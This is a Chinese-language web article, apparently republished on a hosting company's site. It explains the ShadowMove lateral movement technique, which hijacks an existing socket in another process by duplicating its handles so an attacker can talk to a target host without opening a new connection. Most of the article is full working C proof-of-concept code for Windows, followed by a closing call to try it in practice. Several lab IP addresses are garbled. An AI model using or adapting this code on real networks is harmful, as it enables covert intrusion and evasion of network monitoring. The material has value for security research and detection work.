如何理解ShadowMove横向渗透新手段:通过复制现有Socket实现横向渗透
本篇内容主要讲解“如何理解ShadowMove横向渗透新手段:通过复制现有Socket实现横向渗透”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“如何理解ShadowMove横向渗透新手段:通过复制现有Socket实现横向渗透”吧!
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技术概览
下图显示的是这项技术工作机制的简单流程图,以及我们如何在自己的实验环境中进行测试。在下图中,我们使用了ShadowMove技术在源主机和目标主机之间进行通信:
我跟大家解释一下上面这张图的具体情况:
在上图的左边部分,我们有一台被入侵的主机(比如说,我们通过钓鱼攻击入侵了这台主机),IP地址为168.1.117。这台主机就是我们需要开始横向渗透的源主机,我们需要利用它来攻击IP地址为192.168.56.102的主机。
在右边部分,是我们的目标主机,IP地址为168.56.102,这台主机在TCP端口80有一个正在监听的Socket,运行命令为“nc -lvp 80”。
源主机168.1.117已经与我们的目标主机192.168.56.102:80通过nc.exe建立了连接。
在源主机上,有一个名为exe的正在运行的进程。这个进程将负责执行ShadowMove横向渗透操作。需要注意的是,它在整个生命周期中并不会跟远程主机建立任何连接,这也是这项技术的独特魅力所在。
在源主机上,exe会枚举所有跟nc.exe和\Device\Afd相关的处理程序,并用于网络Socket通信。找到之后,该进程将使用这些处理程序并调用WSADuplicateSocketW和WSASocket这两个API来复制Socket。创建好共享Socket之后,进程将会使用getpeername来判断Socket的目标地址是否为目标主机的IP地址,即192.168.56.102。
当基于\Device\Afd的指向目标主机的共享Socket创建之后,exe将能够使用send API向Socket中写入数据,或使用recv API来从中读取数据。
再次强调一点,ShadowMove.exe并不会创建任何指向目标主机的TCP链接。相反,它会直接复用源主机和目标主机之间(192.168.56.102:80)的现有的Socket,这也是该横向渗透技术的关键之处。
PoC代码
下面给出的是由安全专家Juan Manuel Fernández提供的PoC代码,为了在Visual Studio 2019的开发环境中完成代码编译,本人对其进行了部分修改:
// PoC of ShadowMove Gateway by Juan Manuel Fernández (@TheXC3LL) #define _WINSOCK_DEPRECATED_NO_WARNINGS #include#include #include #pragma comment(lib,"WS2_32") // Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 #define SystemHandleInformation 16 #define ObjectNameInformation 1 typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); typedef NTSTATUS(NTAPI* _NtDuplicateObject)( HANDLE SourceProcessHandle, HANDLE SourceHandle, HANDLE TargetProcessHandle, PHANDLE TargetHandle, ACCESS_MASK DesiredAccess, ULONG Attributes, ULONG Options ); typedef NTSTATUS(NTAPI* _NtQueryObject)( HANDLE ObjectHandle, ULONG ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength ); typedef struct _SYSTEM_HANDLE { ULONG ProcessId; BYTE ObjectTypeNumber; BYTE Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, * PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG HandleCount; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef enum _POOL_TYPE { NonPagedPool, PagedPool, NonPagedPoolMustSucceed, DontUseThisType, NonPagedPoolCacheAligned, PagedPoolCacheAligned, NonPagedPoolCacheAlignedMustS } POOL_TYPE, * PPOOL_TYPE; typedef struct _OBJECT_NAME_INFORMATION { UNICODE_STRING Name; } OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION; PVOID GetLibraryProcAddress(const char *LibraryName, const char *ProcName) { return GetProcAddress(GetModuleHandleA(LibraryName), ProcName); } SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) { HANDLE hProc; PSYSTEM_HANDLE_INFORMATION handleInfo; DWORD handleInfoSize = 0x10000; NTSTATUS status; DWORD returnLength; WSAPROTOCOL_INFOW wsaProtocolInfo = { 0 }; SOCKET targetSocket; // Open target process with PROCESS_DUP_HANDLE rights hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId); if (!hProc) { printf("[!] Error: could not open the process!\n"); exit(-1); } printf("[+] Handle to process obtained!\n"); // Find the functions _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation"); _NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject"); _NtQueryObject NtQueryObject = (_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject"); // Retrieve handles from the target process handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2); printf("[+] Found [%d] handles in PID %d\n============================\n", handleInfo->HandleCount, dwProcessId); // Iterate for (DWORD i = 0; i < handleInfo->HandleCount; i++) { // Check if it is the desired type of handle if (handleInfo->Handles[i].ObjectTypeNumber == 0x24) { SYSTEM_HANDLE handle = handleInfo->Handles[i]; HANDLE dupHandle = NULL; POBJECT_NAME_INFORMATION objectNameInfo; // Duplicate handle NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS); objectNameInfo = (POBJECT_NAME_INFORMATION)malloc(0x1000); // Get handle info NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength); // Narow the search checking if the name length is correct (len(\Device\Afd) == 11 * 2) if (objectNameInfo->Name.Length == 22) { printf("[-] Testing %d of %d\n", i, handleInfo->HandleCount); // Check if it ends in "Afd" LPWSTR needle = (LPWSTR)malloc(8); memcpy(needle, objectNameInfo->Name.Buffer + 8, 6); if (needle[0] == 'A' && needle[1] == 'f' && needle[2] == 'd') { // We got a candidate printf("\t[*] \\Device\\Afd found at %d!\n", i); // Try to duplicate the socket status = WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo); if (status != 0) { printf("\t\t[X] Error duplicating socket!\n"); free(needle); free(objectNameInfo); CloseHandle(dupHandle); continue; } // We got it? targetSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED); if (targetSocket != INVALID_SOCKET) { struct sockaddr_in sockaddr; DWORD len; len = sizeof(SOCKADDR_IN); // It this the socket? if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, (int*)&len) == 0) { if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP) == 0) { printf("\t[*] Duplicated socket (%s)\n", inet_ntoa(sockaddr.sin_addr)); free(needle); free(objectNameInfo); return targetSocket; } } } free(needle); } } free(objectNameInfo); } } return 0; } int main(int argc, char** argv) { WORD wVersionRequested; WSADATA wsaData; DWORD dwProcessId; LPSTR dstIP = NULL; SOCKET targetSocket; char buff[255] = { 0 }; printf("\t\t\t-=[ ShadowMove Gateway PoC ]=-\n\n"); // smgateway.exe [PID] [IP dst] /* It's just a PoC, we do not validate the args. But at least check if number of args is right X) */ if (argc != 3) { printf("[!] Error: syntax is %s [PID] [IP dst]\n", argv[0]); exit(-1); } dwProcessId = strtoul(argv[1], NULL, 10); dstIP = (LPSTR)malloc(strlen(argv[2]) * (char)+1); memcpy(dstIP, argv[2], strlen(dstIP)); // Classic wVersionRequested = MAKEWORD(2, 2); WSAStartup(wVersionRequested, &wsaData); targetSocket = findTargetSocket(dwProcessId, dstIP); send(targetSocket, "hello from shadowmove and reused socket!\n", strlen("hello from shadowmove and reused socket!\n"), 0); recv(targetSocket, buff, 255, 0); printf("\n[*] Message from target to shadowmove:\n\n %s\n", buff); return 0; }
演示样例
编译好上述代码之后,我们就可以进行测试了。在下面的演示样例中,我们演示了ShadowMove横向渗透技术的实践场景:
到此,相信大家对“如何理解ShadowMove横向渗透新手段:通过复制现有Socket实现横向渗透”有了更深的了解,不妨来实际操作一番吧!这里是创新互联网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!
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